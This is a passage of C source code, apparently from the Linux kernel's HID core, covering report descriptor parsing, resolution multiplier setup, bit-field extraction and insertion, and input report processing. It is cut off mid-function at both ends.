INIT_LIST_HEAD(&report_enum->report_list);
}
/*
* If the HID driver had a rdesc_fixup() callback, dev->rdesc
* will be allocated by hid-core and needs to be freed.
* Otherwise, it is either equal to dev_rdesc or bpf_rdesc, in
* which cases it'll be freed later on device removal or destroy.
*/
if (device->rdesc != device->dev_rdesc && device->rdesc != device->bpf_rdesc)
kfree(device->rdesc);
device->rdesc = NULL;
device->rsize = 0;
kfree(device->collection);
device->collection = NULL;
device->collection_size = 0;
device->maxcollection = 0;
device->maxapplication = 0;
device->status &= ~HID_STAT_PARSED;
}
static inline void hid_free_bpf_rdesc(struct hid_device *hdev)
{
/* bpf_rdesc is either equal to dev_rdesc or allocated by call_hid_bpf_rdesc_fixup() */
if (hdev->bpf_rdesc != hdev->dev_rdesc)
kfree(hdev->bpf_rdesc);
hdev->bpf_rdesc = NULL;
}
/*
* Free a device structure, all reports, and all fields.
*/
void hiddev_free(struct kref *ref)
{
struct hid_device *hid = container_of(ref, struct hid_device, ref);
hid_close_report(hid);
hid_free_bpf_rdesc(hid);
kfree(hid->dev_rdesc);
kfree(hid);
}
static void hid_device_release(struct device *dev)
{
struct hid_device *hid = to_hid_device(dev);
kref_put(&hid->ref, hiddev_free);
}
/*
* Fetch a report description item from the data stream. We support long
* items, though they are not used yet.
*/
static const u8 *fetch_item(const __u8 *start, const __u8 *end, struct hid_item *item)
{
u8 b;
if ((end - start) <= 0)
return NULL;
b = *start++;
item->type = (b >> 2) & 3;
item->tag = (b >> 4) & 15;
if (item->tag == HID_ITEM_TAG_LONG) {
item->format = HID_ITEM_FORMAT_LONG;
if ((end - start) < 2)
return NULL;
item->size = *start++;
item->tag = *start++;
if ((end - start) < item->size)
return NULL;
item->data.longdata = start;
start += item->size;
return start;
}
item->format = HID_ITEM_FORMAT_SHORT;
item->size = BIT(b & 3) >> 1; /* 0, 1, 2, 3 -> 0, 1, 2, 4 */
if (end - start < item->size)
return NULL;
switch (item->size) {
case 0:
break;
case 1:
item->data.u8 = *start;
break;
case 2:
item->data.u16 = get_unaligned_le16(start);
break;
case 4:
item->data.u32 = get_unaligned_le32(start);
break;
}
return start + item->size;
}
static void hid_scan_input_usage(struct hid_parser *parser, u32 usage)
{
struct hid_device *hid = parser->device;
if (usage == HID_DG_CONTACTID)
hid->group = HID_GROUP_MULTITOUCH;
}
static void hid_scan_feature_usage(struct hid_parser *parser, u32 usage)
{
if (usage == 0xff0000c5 && parser->global.report_count == 256 &&
parser->global.report_size == 8)
parser->scan_flags |= HID_SCAN_FLAG_MT_WIN_8;
if (usage == 0xff0000c6 && parser->global.report_count == 1 &&
parser->global.report_size == 8)
parser->scan_flags |= HID_SCAN_FLAG_MT_WIN_8;
}
static void hid_scan_collection(struct hid_parser *parser, unsigned type)
{
struct hid_device *hid = parser->device;
int i;
if (((parser->global.usage_page << 16) == HID_UP_SENSOR) &&
(type == HID_COLLECTION_PHYSICAL ||
type == HID_COLLECTION_APPLICATION))
hid->group = HID_GROUP_SENSOR_HUB;
if (hid->vendor == USB_VENDOR_ID_MICROSOFT &&
hid->product == USB_DEVICE_ID_MS_POWER_COVER &&
hid->group == HID_GROUP_MULTITOUCH)
hid->group = HID_GROUP_GENERIC;
if ((parser->global.usage_page << 16) == HID_UP_GENDESK)
for (i = 0; i < parser->local.usage_index; i++)
if (parser->local.usage[i] == HID_GD_POINTER)
parser->scan_flags |= HID_SCAN_FLAG_GD_POINTER;
if ((parser->global.usage_page << 16) >= HID_UP_MSVENDOR)
parser->scan_flags |= HID_SCAN_FLAG_VENDOR_SPECIFIC;
if ((parser->global.usage_page << 16) == HID_UP_GOOGLEVENDOR)
for (i = 0; i < parser->local.usage_index; i++)
if (parser->local.usage[i] ==
(HID_UP_GOOGLEVENDOR | 0x0001))
parser->device->group =
HID_GROUP_VIVALDI;
}
static int hid_scan_main(struct hid_parser *parser, struct hid_item *item)
{
__u32 data;
int i;
hid_concatenate_last_usage_page(parser);
data = item_udata(item);
switch (item->tag) {
case HID_MAIN_ITEM_TAG_BEGIN_COLLECTION:
hid_scan_collection(parser, data & 0xff);
break;
case HID_MAIN_ITEM_TAG_END_COLLECTION:
break;
case HID_MAIN_ITEM_TAG_INPUT:
/* ignore constant inputs, they will be ignored by hid-input */
if (data & HID_MAIN_ITEM_CONSTANT)
break;
for (i = 0; i < parser->local.usage_index; i++)
hid_scan_input_usage(parser, parser->local.usage[i]);
break;
case HID_MAIN_ITEM_TAG_OUTPUT:
break;
case HID_MAIN_ITEM_TAG_FEATURE:
for (i = 0; i < parser->local.usage_index; i++)
hid_scan_feature_usage(parser, parser->local.usage[i]);
break;
}
/* Reset the local parser environment */
memset(&parser->local, 0, sizeof(parser->local));
return 0;
}
/*
* Scan a report descriptor before the device is added to the bus.
* Sets device groups and other properties that determine what driver
* to load.
*/
static int hid_scan_report(struct hid_device *hid)
{
struct hid_item item;
const __u8 *start = hid->dev_rdesc;
const __u8 *end = start + hid->dev_rsize;
static int (*dispatch_type[])(struct hid_parser *parser,
struct hid_item *item) = {
hid_scan_main,
hid_parser_global,
hid_parser_local,
hid_parser_reserved
};
struct hid_parser *parser __free(kvfree) = vzalloc(sizeof(*parser));
if (!parser)
return -ENOMEM;
parser->device = hid;
hid->group = HID_GROUP_GENERIC;
/*
* In case we are re-scanning after a BPF has been loaded,
* we need to use the bpf report descriptor, not the original one.
*/
if (hid->bpf_rdesc && hid->bpf_rsize) {
start = hid->bpf_rdesc;
end = start + hid->bpf_rsize;
}
/*
* The parsing is simpler than the one in hid_open_report() as we should
* be robust against hid errors. Those errors will be raised by
* hid_open_report() anyway.
*/
while ((start = fetch_item(start, end, &item)) != NULL)
dispatch_type[item.type](parser, &item);
/*
* Handle special flags set during scanning.
*/
if ((parser->scan_flags & HID_SCAN_FLAG_MT_WIN_8) &&
(hid->group == HID_GROUP_MULTITOUCH))
hid->group = HID_GROUP_MULTITOUCH_WIN_8;
/*
* Vendor specific handlings
*/
switch (hid->vendor) {
case USB_VENDOR_ID_WACOM:
hid->group = HID_GROUP_WACOM;
break;
case USB_VENDOR_ID_SYNAPTICS:
if (hid->group == HID_GROUP_GENERIC)
if ((parser->scan_flags & HID_SCAN_FLAG_VENDOR_SPECIFIC)
&& (parser->scan_flags & HID_SCAN_FLAG_GD_POINTER))
/*
* hid-rmi should take care of them,
* not hid-generic
*/
hid->group = HID_GROUP_RMI;
break;
}
kfree(parser->collection_stack);
return 0;
}
/**
* hid_parse_report - parse device report
*
* @hid: hid device
* @start: report start
* @size: report size
*
* Allocate the device report as read by the bus driver. This function should
* only be called from parse() in ll drivers.
*/
int hid_parse_report(struct hid_device *hid, const __u8 *start, unsigned size)
{
hid->dev_rdesc = kmemdup(start, size, GFP_KERNEL);
if (!hid->dev_rdesc)
return -ENOMEM;
hid->dev_rsize = size;
return 0;
}
EXPORT_SYMBOL_GPL(hid_parse_report);
static const char * const hid_report_names[] = {
"HID_INPUT_REPORT",
"HID_OUTPUT_REPORT",
"HID_FEATURE_REPORT",
};
/**
* hid_validate_values - validate existing device report's value indexes
*
* @hid: hid device
* @type: which report type to examine
* @id: which report ID to examine (0 for first)
* @field_index: which report field to examine
* @report_counts: expected number of values
*
* Validate the number of values in a given field of a given report, after
* parsing.
*/
struct hid_report *hid_validate_values(struct hid_device *hid,
enum hid_report_type type, unsigned int id,
unsigned int field_index,
unsigned int report_counts)
{
struct hid_report *report;
if (type > HID_FEATURE_REPORT) {
hid_err(hid, "invalid HID report type %u\n", type);
return NULL;
}
if (id >= HID_MAX_IDS) {
hid_err(hid, "invalid HID report id %u\n", id);
return NULL;
}
/*
* Explicitly not using hid_get_report() here since it depends on
* ->numbered being checked, which may not always be the case when
* drivers go to access report values.
*/
if (id == 0) {
/*
* Validating on id 0 means we should examine the first
* report in the list.
*/
report = list_first_entry_or_null(
&hid->report_enum[type].report_list,
struct hid_report, list);
} else {
report = hid->report_enum[type].report_id_hash[id];
}
if (!report) {
hid_err(hid, "missing %s %u\n", hid_report_names[type], id);
return NULL;
}
if (report->maxfield <= field_index) {
hid_err(hid, "not enough fields in %s %u\n",
hid_report_names[type], id);
return NULL;
}
if (report->field[field_index]->report_count < report_counts) {
hid_err(hid, "not enough values in %s %u field %u\n",
hid_report_names[type], id, field_index);
return NULL;
}
return report;
}
EXPORT_SYMBOL_GPL(hid_validate_values);
static int hid_calculate_multiplier(struct hid_device *hid,
struct hid_field *multiplier)
{
int m;
__s32 v = *multiplier->value;
__s32 lmin = multiplier->logical_minimum;
__s32 lmax = multiplier->logical_maximum;
__s32 pmin = multiplier->physical_minimum;
__s32 pmax = multiplier->physical_maximum;
/*
* "Because OS implementations will generally divide the control's
* reported count by the Effective Resolution Multiplier, designers
* should take care not to establish a potential Effective
* Resolution Multiplier of zero."
* HID Usage Table, v1.12, Section 4.3.1, p31
*/
if (lmax - lmin == 0)
return 1;
/*
* Handling the unit exponent is left as an exercise to whoever
* finds a device where that exponent is not 0.
*/
m = ((v - lmin)/(lmax - lmin) * (pmax - pmin) + pmin);
if (unlikely(multiplier->unit_exponent != 0)) {
hid_warn(hid,
"unsupported Resolution Multiplier unit exponent %d\n",
multiplier->unit_exponent);
}
/* There are no devices with an effective multiplier > 255 */
if (unlikely(m == 0 || m > 255 || m < -255)) {
hid_warn(hid, "unsupported Resolution Multiplier %d\n", m);
m = 1;
}
return m;
}
static void hid_apply_multiplier_to_field(struct hid_device *hid,
struct hid_field *field,
struct hid_collection *multiplier_collection,
int effective_multiplier)
{
struct hid_collection *collection;
struct hid_usage *usage;
int i;
/*
* If multiplier_collection is NULL, the multiplier applies
* to all fields in the report.
* Otherwise, it is the Logical Collection the multiplier applies to
* but our field may be in a subcollection of that collection.
*/
for (i = 0; i < field->maxusage; i++) {
usage = &field->usage[i];
collection = &hid->collection[usage->collection_index];
while (collection->parent_idx != -1 &&
collection != multiplier_collection)
collection = &hid->collection[collection->parent_idx];
if (collection->parent_idx != -1 ||
multiplier_collection == NULL)
usage->resolution_multiplier = effective_multiplier;
}
}
static void hid_apply_multiplier(struct hid_device *hid,
struct hid_field *multiplier)
{
struct hid_report_enum *rep_enum;
struct hid_report *rep;
struct hid_field *field;
struct hid_collection *multiplier_collection;
int effective_multiplier;
int i;
/*
* "The Resolution Multiplier control must be contained in the same
* Logical Collection as the control(s) to which it is to be applied.
* If no Resolution Multiplier is defined, then the Resolution
* Multiplier defaults to 1. If more than one control exists in a
* Logical Collection, the Resolution Multiplier is associated with
* all controls in the collection. If no Logical Collection is
* defined, the Resolution Multiplier is associated with all
* controls in the report."
* HID Usage Table, v1.12, Section 4.3.1, p30
*
* Thus, search from the current collection upwards until we find a
* logical collection. Then search all fields for that same parent
* collection. Those are the fields the multiplier applies to.
*
* If we have more than one multiplier, it will overwrite the
* applicable fields later.
*/
multiplier_collection = &hid->collection[multiplier->usage->collection_index];
while (multiplier_collection->parent_idx != -1 &&
multiplier_collection->type != HID_COLLECTION_LOGICAL)
multiplier_collection = &hid->collection[multiplier_collection->parent_idx];
if (multiplier_collection->type != HID_COLLECTION_LOGICAL)
multiplier_collection = NULL;
effective_multiplier = hid_calculate_multiplier(hid, multiplier);
rep_enum = &hid->report_enum[HID_INPUT_REPORT];
list_for_each_entry(rep, &rep_enum->report_list, list) {
for (i = 0; i < rep->maxfield; i++) {
field = rep->field[i];
hid_apply_multiplier_to_field(hid, field,
multiplier_collection,
effective_multiplier);
}
}
}
/*
* hid_setup_resolution_multiplier - set up all resolution multipliers
*
* @device: hid device
*
* Search for all Resolution Multiplier Feature Reports and apply their
* value to all matching Input items. This only updates the internal struct
* fields.
*
* The Resolution Multiplier is applied by the hardware. If the multiplier
* is anything other than 1, the hardware will send pre-multiplied events
* so that the same physical interaction generates an accumulated
* accumulated_value = value * * multiplier
* This may be achieved by sending
* - "value * multiplier" for each event, or
* - "value" but "multiplier" times as frequently, or
* - a combination of the above
* The only guarantee is that the same physical interaction always generates
* an accumulated 'value * multiplier'.
*
* This function must be called before any event processing and after
* any SetRequest to the Resolution Multiplier.
*/
void hid_setup_resolution_multiplier(struct hid_device *hid)
{
struct hid_report_enum *rep_enum;
struct hid_report *rep;
struct hid_usage *usage;
int i, j;
rep_enum = &hid->report_enum[HID_FEATURE_REPORT];
list_for_each_entry(rep, &rep_enum->report_list, list) {
for (i = 0; i < rep->maxfield; i++) {
/* Ignore if report count is out of bounds. */
if (rep->field[i]->report_count < 1)
continue;
for (j = 0; j < rep->field[i]->maxusage; j++) {
usage = &rep->field[i]->usage[j];
if (usage->hid == HID_GD_RESOLUTION_MULTIPLIER)
hid_apply_multiplier(hid,
rep->field[i]);
}
}
}
}
EXPORT_SYMBOL_GPL(hid_setup_resolution_multiplier);
static int hid_parse_collections(struct hid_device *device)
{
struct hid_item item;
const u8 *start = device->rdesc;
const u8 *end = start + device->rsize;
const u8 *next;
int ret;
static typeof(hid_parser_main) (* const dispatch_type[]) = {
hid_parser_main,
hid_parser_global,
hid_parser_local,
hid_parser_reserved
};
struct hid_parser *parser __free(kvfree) = vzalloc(sizeof(*parser));
if (!parser)
return -ENOMEM;
parser->device = device;
device->collection = kzalloc_objs(*device->collection,
HID_DEFAULT_NUM_COLLECTIONS);
if (!device->collection)
return -ENOMEM;
device->collection_size = HID_DEFAULT_NUM_COLLECTIONS;
for (unsigned int i = 0; i < HID_DEFAULT_NUM_COLLECTIONS; i++)
device->collection[i].parent_idx = -1;
ret = -EINVAL;
if (start == end) {
hid_err(device, "rejecting 0-sized report descriptor\n");
goto out;
}
while ((next = fetch_item(start, end, &item)) != NULL) {
start = next;
if (item.format != HID_ITEM_FORMAT_SHORT) {
hid_err(device, "unexpected long global item\n");
goto out;
}
if (dispatch_type[item.type](parser, &item)) {
hid_err(device, "item %u %u %u %u parsing failed\n",
item.format,
(unsigned int)item.size,
(unsigned int)item.type,
(unsigned int)item.tag);
goto out;
}
}
if (start != end) {
hid_err(device, "item fetching failed at offset %u/%u\n",
device->rsize - (unsigned int)(end - start),
device->rsize);
goto out;
}
if (parser->collection_stack_ptr) {
hid_err(device, "unbalanced collection at end of report description\n");
goto out;
}
if (parser->local.delimiter_depth) {
hid_err(device, "unbalanced delimiter at end of report description\n");
goto out;
}
/*
* fetch initial values in case the device's
* default multiplier isn't the recommended 1
*/
hid_setup_resolution_multiplier(device);
device->status |= HID_STAT_PARSED;
ret = 0;
out:
kfree(parser->collection_stack);
return ret;
}
/**
* hid_open_report - open a driver-specific device report
*
* @device: hid device
*
* Parse a report description into a hid_device structure. Reports are
* enumerated, fields are attached to these reports.
* 0 returned on success, otherwise nonzero error value.
*
* This function (or the equivalent hid_parse() macro) should only be
* called from probe() in drivers, before starting the device.
*/
int hid_open_report(struct hid_device *device)
{
unsigned int size;
const u8 *start;
int error;
if (WARN_ON(device->status & HID_STAT_PARSED))
return -EBUSY;
start = device->bpf_rdesc;
if (WARN_ON(!start))
return -ENODEV;
size = device->bpf_rsize;
if (device->driver->report_fixup) {
/*
* device->driver->report_fixup() needs to work
* on a copy of our report descriptor so it can
* change it.
*/
u8 *buf __free(kfree) = kmemdup(start, size, GFP_KERNEL);
if (!buf)
return -ENOMEM;
start = device->driver->report_fixup(device, buf, &size);
/*
* The second kmemdup is required in case report_fixup() returns
* a static read-only memory, but we have no idea if that memory
* needs to be cleaned up or not at the end.
*/
start = kmemdup(start, size, GFP_KERNEL);
if (!start)
return -ENOMEM;
}
device->rdesc = start;
device->rsize = size;
error = hid_parse_collections(device);
if (error) {
hid_close_report(device);
return error;
}
return 0;
}
EXPORT_SYMBOL_GPL(hid_open_report);
/*
* Extract/implement a data field from/to a little endian report (bit array).
*
* Code sort-of follows HID spec:
* http://www.usb.org/developers/hidpage/HID1_11.pdf
*
* While the USB HID spec allows unlimited length bit fields in "report
* descriptors", most devices never use more than 16 bits.
* One model of UPS is claimed to report "LINEV" as a 32-bit field.
* Search linux-kernel and linux-usb-devel archives for "hid-core extract".
*/
static u32 __extract(u8 *report, unsigned offset, int n)
{
unsigned int idx = offset / 8;
unsigned int bit_nr = 0;
unsigned int bit_shift = offset % 8;
int bits_to_copy = 8 - bit_shift;
u32 value = 0;
u32 mask = n < 32 ? (1U << n) - 1 : ~0U;
while (n > 0) {
value |= ((u32)report[idx] >> bit_shift) << bit_nr;
n -= bits_to_copy;
bit_nr += bits_to_copy;
bits_to_copy = 8;
bit_shift = 0;
idx++;
}
return value & mask;
}
u32 hid_field_extract(const struct hid_device *hid, u8 *report,
unsigned offset, unsigned n)
{
if (n > 32) {
hid_warn_once(hid, "%s() called with n (%d) > 32! (%s)\n",
__func__, n, current->comm);
n = 32;
}
return __extract(report, offset, n);
}
EXPORT_SYMBOL_GPL(hid_field_extract);
/*
* "implement" : set bits in a little endian bit stream.
* Same concepts as "extract" (see comments above).
* The data mangled in the bit stream remains in little endian
* order the whole time. It make more sense to talk about
* endianness of register values by considering a register
* a "cached" copy of the little endian bit stream.
*/
static void __implement(u8 *report, unsigned offset, int n, u32 value)
{
unsigned int idx = offset / 8;
unsigned int bit_shift = offset % 8;
int bits_to_set = 8 - bit_shift;
while (n - bits_to_set >= 0) {
report[idx] &= ~(0xff << bit_shift);
report[idx] |= value << bit_shift;
value >>= bits_to_set;
n -= bits_to_set;
bits_to_set = 8;
bit_shift = 0;
idx++;
}
/* last nibble */
if (n) {
u8 bit_mask = ((1U << n) - 1);
report[idx] &= ~(bit_mask << bit_shift);
report[idx] |= value << bit_shift;
}
}
static void implement(const struct hid_device *hid, u8 *report,
unsigned offset, unsigned n, u32 value)
{
if (unlikely(n > 32)) {
hid_warn(hid, "%s() called with n (%d) > 32! (%s)\n",
__func__, n, current->comm);
n = 32;
} else if (n < 32) {
u32 m = (1U << n) - 1;
if (unlikely(value > m)) {
hid_warn(hid,
"%s() called with too large value %d (n: %d)! (%s)\n",
__func__, value, n, current->comm);
value &= m;
}
}
__implement(report, offset, n, value);
}
/*
* Search an array for a value.
*/
static int search(__s32 *array, __s32 value, unsigned n)
{
while (n--) {
if (*array++ == value)
return 0;
}
return -1;
}
/**
* hid_match_report - check if driver's raw_event should be called
*
* @hid: hid device
* @report: hid report to match against
*
* compare hid->driver->report_table->report_type to report->type
*/
static int hid_match_report(struct hid_device *hid, struct hid_report *report)
{
const struct hid_report_id *id = hid->driver->report_table;
if (!id) /* NULL means all */
return 1;
for (; id->report_type != HID_TERMINATOR; id++)
if (id->report_type == HID_ANY_ID ||
id->report_type == report->type)
return 1;
return 0;
}
/**
* hid_match_usage - check if driver's event should be called
*
* @hid: hid device
* @usage: usage to match against
*
* compare hid->driver->usage_table->usage_{type,code} to
* usage->usage_{type,code}
*/
static int hid_match_usage(struct hid_device *hid, struct hid_usage *usage)
{
const struct hid_usage_id *id = hid->driver->usage_table;
if (!id) /* NULL means all */
return 1;
for (; id->usage_type != HID_ANY_ID - 1; id++)
if ((id->usage_hid == HID_ANY_ID ||
id->usage_hid == usage->hid) &&
(id->usage_type == HID_ANY_ID ||
id->usage_type == usage->type) &&
(id->usage_code == HID_ANY_ID ||
id->usage_code == usage->code))
return 1;
return 0;
}
static void hid_process_event(struct hid_device *hid, struct hid_field *field,
struct hid_usage *usage, __s32 value, int interrupt)
{
struct hid_driver *hdrv = hid->driver;
int ret;
if (!list_empty(&hid->debug_list))
hid_dump_input(hid, usage, value);
if (hdrv && hdrv->event && hid_match_usage(hid, usage)) {
ret = hdrv->event(hid, field, usage, value);
if (ret != 0) {
if (ret < 0)
hid_err(hid, "%s's event failed with %d\n",
hdrv->name, ret);
return;
}
}
if (hid->claimed & HID_CLAIMED_INPUT)
hidinput_hid_event(hid, field, usage, value);
if (hid->claimed & HID_CLAIMED_HIDDEV && interrupt && hid->hiddev_hid_event)
hid->hiddev_hid_event(hid, field, usage, value);
}
/*
* Checks if the given value is valid within this field
*/
static inline int hid_array_value_is_valid(struct hid_field *field,
__s32 value)
{
__s32 min = field->logical_minimum;
/*
* Value needs to be between logical min and max, and
* (value - min) is used as an index in the usage array.
* This array is of size field->maxusage
*/
return value >= min &&
value <= field->logical_maximum &&
value - min < field->maxusage;
}
/*
* Fetch the field from the data. The field content is stored for next
* report processing (we do differential reporting to the layer).
*/
static void hid_input_fetch_field(struct hid_device *hid,
struct hid_field *field,
__u8 *data)
{
unsigned n;
unsigned count = field->report_count;
unsigned offset = field->report_offset;
unsigned size = field->report_size;
__s32 min = field->logical_minimum;
__s32 *value;
value = field->new_value;
memset(value, 0, count * sizeof(__s32));
field->ignored = false;
for (n = 0; n < count; n++) {
value[n] = min < 0 ?
snto32(hid_field_extract(hid, data, offset + n * size,
size), size) :
hid_field_extract(hid, data, offset + n * size, size);
/* Ignore report if ErrorRollOver */
if (!(field->flags & HID_MAIN_ITEM_VARIABLE) &&
hid_array_value_is_valid(field, value[n]) &&
field->usage[value[n] - min].hid == HID_UP_KEYBOARD + 1) {
field->ignored = true;
return;
}
}
}
/*
* Process a received variable field.
*/
static void hid_input_var_field(struct hid_device *hid,
struct hid_field *field,
int interrupt)
{
unsigned int count = field->report_count;
__s32 *value = field->new_value;
unsigned int n;
for (n = 0; n < count; n++)
hid_process_event(hid,
field,
&field->usage[n],
value[n],
interrupt);
memcpy(field->value, value, count * sizeof(__s32));
}
/*
* Process a received array field. The field content is stored for
* next report processing (we do differential reporting to the layer).
*/
static void hid_input_array_field(struct hid_device *hid,
struct hid_field *field,
int interrupt)
{
unsigned int n;
unsigned int count = field->report_count;
__s32 min = field->logical_minimum;
__s32 *value;
value = field->new_value;
/* ErrorRollOver */
if (field->ignored)
return;
for (n = 0; n < count; n++) {
if (hid_array_value_is_valid(field, field->value[n]) &&
search(value, field->value[n], count))
hid_process_event(hid,
field,
&field->usage[field->value[n] - min],
0,
interrupt);
if (hid_array_value_is_valid(field, value[n]) &&
search(field->value, value[n], count))
hid_process_event(hid,
field,
&field->usage[value[n] - min],
1,
interrupt);
}
memcpy(field->value, value, count * sizeof(__s32));
}
/*
* Analyse a received report, and fetch the data from it. The field
* content is stored for next report processing (we do differential
* reporting to the layer).
*/
static void hid_process_report(struct hid_device *hid,
struct hid_report *report,
__u8 *data,
int interrupt)
{
unsigned int a;
struct hid_field_entry *entry;
struct hid_field *field;
/* first retrieve all incoming values in data */
for (a = 0; a < report->maxfield; a++)
hid_input_fetch_field(hid, report->field[a], data);
if (!list_empty(&report->field_entry_list)) {
/* INPUT_REPORT, we have a priority list of fields */
list_for_each_entry(entry,
&report->field_entry_list,
list) {
field = entry->field;
if (field->flags & HID_MAIN_ITEM_VARIABLE)
hid_process_event(hid,
field,
&field->usage[entry->index],
field->new_value[entry->index],
interrupt);
else
hid_input_array_field(hid, field, interrupt);
}
/* we need to do the memcpy at the end for var items */
for (a = 0; a < report->maxfield; a++) {
field = report->field[a];
if (field->flags & HID_MAIN_ITEM_VARIABLE)
memcpy(field->value, field->new_value,
field->report_count * sizeof(__s32));
}
} else {
/* FEATURE_REPORT, regular processing */
for (a = 0; a < report->maxfield; a++) {
field = report->field[a];
if (field->flags & HID_MAIN_ITEM_VARIABLE)
hid_input_var_field(hid, field, interrupt);
else
hid_input_array_field(hid, field, interrupt);
}
}
}
/*
* Insert a given usage_index in a field in the list
* of processed usages in the report.
*
* The elements of lower priority score are processed
* first.
*/
static void __hid_insert_field_entry(struct hid_device *hid,
struct hid_report *report,
struct hid_field_entry *entry,
struct hid_field *field,
unsigned int usage_index)
{
struct hid_field_entry *next;
entry->field = field;
entry->index = usage_index;
entry->priority = field->usages_priorities[usage_index];
/* insert the element at the correct position */
list_for_each_entry(next,
&report->field_entry_list,
list) {
/*
* the priority of our element is strictly higher
* than the next one, insert it before
*/
if (entry->priority > next->priority) {
list_add_tail(&entry->list, &next->list);
return;
}
}
/* lowest priority score: insert at the end */
list_add_tail(&entry->list, &report->field_entry_list);
}
static void hid_report_process_ordering(struct hid_device *hid,
struct hid_report *report)
{
struct hid_field *field;
struct hid_field_entry *entries;
unsigned int a, u, usages;
unsigned int count = 0;
/* count the number of individual fields in the report */
for (a = 0; a < report->maxfield; a++) {
field = report->field[a];
if (field->flags & HID_MAIN_ITEM_VARIABLE)
count += field->report_count;
else
count++;
}
/* allocate the memory to process the fields */
entries = kzalloc_objs(*entries, count);
if (!entries)
return;
report->field_entries = entries;
/*
* walk through all fields in the report and
* store them by priority order in report->field_entry_list
*
* - Var elements are individualized (field + usage_index)
* - Arrays are taken as one, we can not chose an order for them
*/
usages = 0;
for (a = 0; a < report->maxfield; a++) {
field = report->field[a];
if (field->flags & HID_MAIN_ITEM_VARIABLE) {
for (u = 0; u < field->report_count; u++) {
__hid_insert_field_entry(hid, report,
&entries[usages],
field, u);
usages++;
}
} else {
__hid_insert_field_entry(hid, report, &entries[usages],
field, 0);
usages++;
}
}
}
static void hid_process_ordering(struct hid_device *hid)
{
struct hid_report *report;
struct hid_report_enum *report_enum = &hid->report_enum[HID_INPUT_REPORT];
list_for_each_entry(report, &report_enum->report_list, list)
hid_report_process_ordering(hid, report);
}
/*
* Output the field into the report.
*/
static void hid_output_field(const struct hid_device *hid,
struct hid_field *field, __u8 *data)
{
unsigned count = field->report_count;
unsigned offset = field->report_offset;
unsigned size = field->report_size;
unsigned n;
for (n = 0; n < count; n++) {
if (field->logical_minimum < 0) /* signed values */
implement(hid, data, offset + n * size, size,
s32ton(field->value[n], size));
else /* unsigned values */
implement(hid, data, offset + n * size, size,
field->value[n]);
}
}
/*
* Compute the size of a report.
*/
static size_t hid_compute_report_size(struct hid_report *report)
{
if (report->size)
return ((report->size - 1) >> 3) + 1;
return 0;
}
/*
* Create a report. 'data' has to be allocated using
* hid_alloc_report_buf() so that it has proper size.
*/
void hid_output_report(struct hid_report *report, __u8 *data)
{
unsigned n;
if (report->id > 0)
*data++ = report->id;
memset(data, 0, hid_compute_report_size(report));
for (n = 0; n < report->maxfield; n++)
hid_output_field(report->device, report->field[n], data);
}
EXPORT_SYMBOL_GPL(hid_output_report);
/*
* Allocator for buffer that is going to be passed to hid_output_report()
*/
u8 *hid_alloc_report_buf(struct hid_report *report, gfp_t flags)
{
/*
* 7 extra bytes are necessary to achieve proper functionality
* of implement() working on 8 byte chunks
* 1 extra byte for the report ID if it is null (not used) so
* we can reserve that extra byte in the first position of the buffer
* when sending it to .raw_request()
*/
u32 len = hid_report_len(report) + 7 + (report->id == 0);
return kzalloc(len, flags);
}
EXPORT_SYMBOL_GPL(hid_alloc_report_buf);
/*
* Set a field value. The report this field belongs to has to be
* created and transferred to the device, to set this value in the
* device.
*/
int hid_set_field(struct hid_field *field, unsigned offset, __s32 value)
{
unsigned size;
if (!field)
return -1;
size = field->report_size;
hid_dump_input(field->report->device, field->usage + offset, value);
if (offset >= field->report_count) {
hid_err(field->report->device, "offset (%d) exceeds report_count (%d)\n",
offset, field->report_count);
return -1;
}
if (field->logical_minimum < 0) {
if (value != snto32(s32ton(value, size), size)) {
hid_err(field->report->device, "value %d is out of range\n", value);
return -1;
}
}
field->value[offset] = value;
return 0;
}
EXPORT_SYMBOL_GPL(hid_set_field);
struct hid_field *hid_find_field(struct hid_device *hdev, unsigned int report_type,
unsigned int application, unsigned int usage)
{
struct list_head *report_list = &hdev->report_enum[report_type].report_list;
struct hid_report *report;
int i, j;
list_for_each_entry(report, report_list, list) {
if (report->application != application)
continue;
for (i = 0; i < report->maxfield; i++) {
struct hid_field *field = report->field[i];
for (j = 0; j < field->maxusage; j++) {
if (field->usage[j].hid == usage)
return field;
}
}
}
return NULL;
}
EXPORT_SYMBOL_GPL(hid_find_field);
static struct hid_report *hid_get_report(struct hid_report_enum *report_enum,
const u8 *data)
{
struct hid_report *report;
unsigned int n = 0; /* Normally report number is 0 */
/* Device uses numbered reports, data[0] is report number */
if (report_enum->numbered)
n = *data;
report = report_enum->report_id_hash[n];
if (report == NULL)
dbg_hid("undefined report_id %u received\n", n);
return report;
}
/*
* Implement a generic .request() callback, using .raw_request()
* DO NOT USE in hid drivers directly, but through hid_hw_request instead.
*/
int __hid_request(struct hid_device *hid, struct hid_report *report,
enum hid_class_request reqtype)
{
u8 *data_buf;
int ret;
u32 len;
u8 *buf __free(kfree) = hid_alloc_report_buf(report, GFP_KERNEL);
if (!buf)
return -ENOMEM;
data_buf = buf;
len = hid_report_len(report);
if (report->id == 0) {
/* reserve the first byte for the report ID */
data_buf++;
len++;
}
if (reqtype == HID_REQ_SET_REPORT)
hid_output_report(report, data_buf);
ret = hid_hw_raw_request(hid, report->id, buf, len, report->type, reqtype);
if (ret < 0) {
dbg_hid("unable to complete request: %d\n", ret);
return ret;
}
if (reqtype == HID_REQ_GET_REPORT)
hid_input_report(hid, report->type, buf, ret, 0);
return 0;
}
EXPORT_SYMBOL_GPL(__hid_request);
int hid_report_raw_event(struct hid_device *hid, enum hid_report_type type, u8 *data,
size_t bufsize, u32 size, int interrupt)
{
struct hid_report_enum *report_enum = hid->report_enum + type;
struct hid_report *report;
struct hid_driver *hdrv;
int max_buffer_size = HID_MAX_BUFFER_SIZE;
u32 rsize, csize = size;
size_t bsize = bufsize;
u8 *cdata = data;
int ret = 0;
report = hid_get_report(report_enum, data);
if (!report)
return 0;
if (unlikely(bsize < csize)) {
hid_warn_ratelimited(hid, "Event data for report %d is incorrect (%d vs %ld)\n",
report->id, csize, bsize);
return -EINVAL;
}
if (report_enum->numbered) {
cdata++;
csize--;
bsize--;
}
rsize = hid_compute_report_size(report);
if (hid->ll_driver->max_buffer_size)
max_buffer_size = hid->ll_driver->max_buffer_size;
if (report_enum->numbered && rsize >= max_buffer_size)
rsize = max_buffer_size - 1;
else if (rsize > max_buffer_size)
rsize = max_buffer_size;
if (bsize < rsize) {
hid_warn_ratelimited(hid, "Event data for report %d was too short (%d vs %ld)\n",
report->id, rsize, bsize);
return -EINVAL;
}
if (csize < rsize) {
